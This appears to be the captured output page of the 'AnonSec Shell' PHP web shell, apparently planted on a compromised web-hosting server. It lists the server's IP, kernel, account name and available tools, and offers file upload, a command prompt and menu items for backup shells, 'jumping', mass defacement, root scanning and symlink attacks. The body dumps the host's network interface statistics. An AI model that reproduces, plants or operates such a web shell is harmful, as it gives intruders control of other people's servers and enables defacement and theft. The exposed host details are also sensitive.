AnonSec Shell
Server IP : 68.65.120.251  /  Your IP : 18.217.171.249   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : travtpib ( 6521)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/proc/net/dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 90757064305624 44099511209    0    0    0     0          0         0 90757064305624 44099511209    0    0    0     0       0          0
  eth0: 24520913049564 38819917607    0 23990629 23990629     0          0  31071784 63790177000978 58680768118    0    0    0     0       0          0
  eth1: 24618112345399 39865340341    0 22184526 22184526     0          0  31099192 45199237563487 44656376063    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0   662852    9406    0    0    0     0       0          0
  eth4:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 49139025395029 78685257949    0 46175155 46175155     0          0  62170976 108989414564465 103337144181    0    0    0     0       0          0
bond0.1000: 46626905736670 57212371815    0    0    0     0          0    283634 87525074168501 56975701813    0    0    0     0       0          0
bond0.999: 415041524779 2288303172    0    0    0     0          0    279815 18558253966168 1062949905    0    0    0     0       0          0

Anon7 - 2022
AnonSec Team